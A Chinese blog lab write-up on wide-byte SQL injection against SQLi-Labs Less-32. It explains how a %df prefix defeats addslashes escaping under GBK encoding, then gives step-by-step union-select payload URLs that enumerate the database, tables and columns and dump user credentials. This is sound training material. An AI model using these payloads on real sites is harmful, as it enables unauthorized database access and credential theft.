实验目的
普及宽字节注入的原理和应用场合,以及宽字节注入的基本方法和流程。
实验环境
攻击机:告诉桃花不用开了
(1)操作系统:Windows10
(2)安装的应用软件:sqlmap、Burpsuite、FireFox浏览器插件Hackbar、
FoxyProxy等
(3)登录账号密码:操作系统帐号Admin,密码asdfghjkl
靶机:关键球
(1)操作系统:Centos7(本机亦可)
(2)安装的应用软件:Apache、MySQL(MariaDB)、PHP:DVWA、SQLi-Labs、
Webug3.0漏洞网站环境
(3)登录账号密码:操作系统帐号root,密码qwertyuio
实验原理:
宽字节注入适用于cms和数据库对字符串的编码方式不统一、WAF利用AddSlashes()等函数对敏感字符进行转义的场景。统一的国际规范的理想状态是所有应用程序都使用Unicode编码,所有的网站都使用UTF-8编码。但因为一些历史原因,国内及国外(特别是非英语国家)的一些cms仍然使用着自己国家的一套编码(如GBK);也有一些cms为了考虑老用户,出了GBK和UTF-8两个版本。一个GBK编码汉字,占用2个字节:一个UTF-8编码的汉字,占用3-4个字节当Web应用程序的编码方式为GBK,而数据库的编码方式为UTF-8,且WAF利用AddSlashes0等函数对敏感字符进行转义时,此时可以利用Web应用程序和数据库编码方式上的差异,想办法将,前面添加的转义符一除掉,以实现注入。
实验步骤
本实验的目标是:以SQLi-Labs网站的Less-32为入口,利用宽字节注入的方式绕过转义过滤机制,获取SQLi-Labs网站的登录用户名和密码。
1.访问SQLi-Labs网站
在攻击机Pentest-Atk打开FireFox浏览器,并访问靶机A-SQLi-Labs上的SQLi-Labs网站Less-32。访问的URL为:
http://[靶机IP]/sqli-labs/Less-32/
登录后,根据网页提示,先给定一个GET参数,即:
http://127.0.0.1/sqli-labs-master/Less-32/?id=1
此时页面显示id-1的用户名Dump、密码Dump(我网页自动翻译...米奇妙妙屋)
2.寻找注入点
分别使用以下3条payload寻找注入点及判断注入点的类型;
http://127.0.0.1/sqli-labs-master/Less-32/?id=1'
运行后正常显示用户名和密码,但页面下方提示'前被加上了\
http://127.0.0.1/sqli-labs-master/Less-32/?id=1%df/
运行后报错
原因:1%df‘被识别成了汉字
http://127.0.0.1/sqli-labs-master/Less-32/?id=1%df'--+
运行后正常显示
由上述结果可以判断,网站存在字符型注入点,且有宽字节注入漏洞
3.判断网站查询的字段数
尝试使用以下payload获取网站查询的字段数(关键字order by)
http://127.0.0.1/sqli-labs-master/Less-32/?id=1%df' order by 1--+
正常显示!
http://127.0.0.1/sqli-labs-master/Less-32/?id=1%df' order by 2--+
http://127.0.0.1/sqli-labs-master/Less-32/?id=1%df' order by 3--+
http://127.0.0.1/sqli-labs-master/Less-32/?id=1%df' order by 4--+
报错
由上述结果可以判断,网站查询的字段数为3
4.判断网站的回显位置
利用以下payload判断网站的回显位置:
http://127.0.0.1/sqli-labs-master/Less-32/?id=1%df' and 1=2 union select 1,2,3--+
执行的结果是:2号位和3号位可以回显!
5.获取网站当前所在数据库的库名
使用以下payload获取网站当前所在数据库的库名:
http://127.0.0.1/sqli-labs-master/Less-32/?id=1%df' and 1=2 union select 1,2,database()--+
1,2,database()--+
显示结果为security。
6.获取数据库security的全部表名
使用以下 payload获取数据库 security的全部表名
http://127.0.0.1/sqli-labs-master/Less-32/?id=1%df' and 1=2 union select 1, 2, group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479--+
//注意: payload如果写成...tabe_ schema=' security',此处的单引号也会被加上转义符而无法带入执行,这里需要将字符串 security转换成16进制编码,即0x7365637572697479其中0x73、0x65、0x63、0x75、0x72、0x69、0x74、0x79分别是小写字母s、e、c、u、r、i、t、y的16进制编码。
显示结果中,有一个名为 users的表,这当中可能存放着网站用户的基本信息。
7.获取 users表的全部字段名
使用以下 payload获取 users表的全部字段名:
http://127.0.0.1/sqli-labs-master/Less-32/?id=1%df' and 1=2 union select 1, 2, group_concat(column_name)from information_schema.columns where table_schema=0x7365637572697479 and table_name=0x7573657273--+
/注意:同上,0x7365637572697479、0x7573657273分别是字符串 security、 user s的16进制编码
显示结果, users表中有id、username和 password三个字段
8.获取 users表id、 username和 password字段的全部值
由于 users表中存放着多组用户名和密码的数据,而每次只能显示一组数据,我
们可以通过 limit mn的方式逐条显示,如
(1)显示第1组数据
http://127.0.0.1/sqli-labs-master/Less-32/?id=1%df' and 1=2 union select 1, 2, concat_ws(0x2c,id,username,password) from security. users limit 0,1--+
//注意:0x2c是逗号的16进制编码
显示结果为Dump,Dump。
(2)显示第2组数据
http://127.0.0.1/sqli-labs-master/Less-32/?id=1%df' and 1=2 union select 1, 2, concat_ws(0x2c,id,username,password) from security. users limit 1,1--+
显示结果为Angelina,l-kill-you
(3)显示第3组数据
http://127.0.0.1/sqli-labs-master/Less-32/?id=1%df' and 1=2 union select 1, 2, concat_ws(0x2c,id,username,password) from security. users limit 2,1--+
显示结果为Dummy,p@ssword。
....
以此类推,可通过修改limit后面的参数,将users表中存放的所有用户信息全
部暴露出来。
实验至此结束。
SQL注入 ——sql数据库操作基础(一)_Gjqhs的博客-CSDN博客
SQL注入——基于时间的盲注(九)_Gjqhs的博客-CSDN博客
...
更多包括而不限于SQL注入的文章,关注我全部带走吧( •̀ ω •́ )✧